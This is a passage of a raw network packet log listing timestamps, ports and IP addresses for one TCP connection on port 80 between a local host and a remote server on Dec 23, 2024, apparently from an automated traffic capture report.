Dec 23, 2024 07:16:06.359361887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.359411955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.359473944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.359487057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.359615088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.360333920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.360449076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.360460997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.360541105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.361399889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.361466885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.361479998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.361653090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.361653090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.362284899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.362381935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.362386942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.362452030 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.363219976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.363276005 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.363343000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.363354921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.363415003 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.364197969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.364327908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.364341974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.364378929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.365292072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.365362883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.365396976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.365408897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.365498066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.366406918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.366513968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.366525888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.366568089 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.367157936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.367238045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.367244959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.367259026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.367367983 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.368114948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.368179083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.368196011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.368315935 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.369024038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.369081020 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.369132042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.369143009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.369230032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.369993925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.370198965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.370217085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.370248079 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.371007919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.371062040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.371119022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.371131897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.371714115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.371929884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.372015953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.372028112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.372581005 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.372850895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.372971058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.372982979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.373173952 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.373173952 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.415927887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.415986061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.416002989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.416420937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.416460991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.416460991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.416538954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.416572094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.416692972 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.417310953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.417421103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.417432070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.417576075 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.418267965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.418371916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.418385029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.418412924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.418605089 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.419267893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.419347048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.419358969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.419460058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.420175076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.420283079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.420295000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.420321941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.420342922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.421138048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.421253920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.421392918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.487073898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.487112999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.487124920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.487257957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.487431049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.487602949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.487696886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.487708092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.488590956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.488702059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.488714933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.488775969 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.488775969 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.488775969 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.488775969 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.489564896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.489650965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.489664078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.490508080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.490629911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.490637064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.491468906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.491559982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.491565943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.491614103 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.491615057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.491615057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.491615057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.492441893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.492499113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.492609024 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.534981012 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.545304060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.545363903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.545377970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.545514107 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.545694113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.545808077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.545821905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.545840979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.545865059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.546684980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.546762943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.546776056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.546825886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.547652960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.547730923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.547743082 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.547768116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.547784090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.548604012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.548682928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.548695087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.548757076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.549556971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.549634933 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.549652100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.549664021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.549705029 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.550503016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.550616026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.550628901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.550857067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.551471949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.551544905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.551578999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.551599979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.551709890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.552438021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.552545071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.552551985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.552613974 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.553396940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.553494930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.553505898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.553518057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.553620100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.554389000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.554481030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.554486990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.554533958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.555329084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.555388927 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.555421114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.555433989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.555552006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.556268930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.556380987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.556394100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.556473970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.557255983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.557365894 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.557399988 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.557411909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.557471991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.558274984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.558341026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.558353901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.558428049 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.559178114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.559256077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.559283972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.559297085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.559381008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.560158968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.560255051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.560266972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.560339928 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.561093092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.561175108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.561212063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.561225891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.561292887 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.562079906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.562189102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.562206984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.562273979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.563052893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.563162088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.563160896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.563175917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.563282013 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.564019918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.564073086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.564193010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.564205885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.564965963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.565016031 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.565080881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.565093994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.565283060 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.565888882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.608304024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.608334064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.608340979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.608550072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.608617067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.608836889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.608885050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.608927965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.608935118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.608979940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.609808922 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.609906912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.609914064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.610007048 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.610788107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.610892057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.610899925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.610937119 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.610953093 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.611715078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.611840010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.611848116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.611897945 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.612721920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.612787008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.612826109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.612835884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.612884045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.613663912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.613732100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.613796949 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.679517984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.679555893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.679563046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.679627895 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.679946899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.680037975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.680043936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.680074930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.680094957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.680893898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.681006908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.681013107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.681083918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.681864977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.681957006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.681963921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.682008982 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.682833910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.682921886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.682928085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.682960033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.683798075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.683865070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.683870077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.683877945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.683923006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.684756994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.684880972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.685019016 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.737679958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.737713099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.737721920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.737782001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.738030910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.738128901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.738135099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.738183022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.738995075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.739108086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.739114046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.739182949 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.740012884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.740066051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.740071058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.740084887 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.740107059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.740916967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.741005898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.741012096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.741067886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.741911888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.741976023 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.742016077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.742022991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.742055893 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.742860079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.742959976 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.742965937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.743016958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.743791103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.743875027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.743907928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.743916035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.743958950 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.744816065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.744874954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.744880915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.744960070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.745750904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.745822906 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.745830059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.745841026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.745898962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.746711016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.746788025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.746794939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.746841908 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:06.747662067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:06.747752905 CET	80	49739	185.215.113.16	192.168.2.5
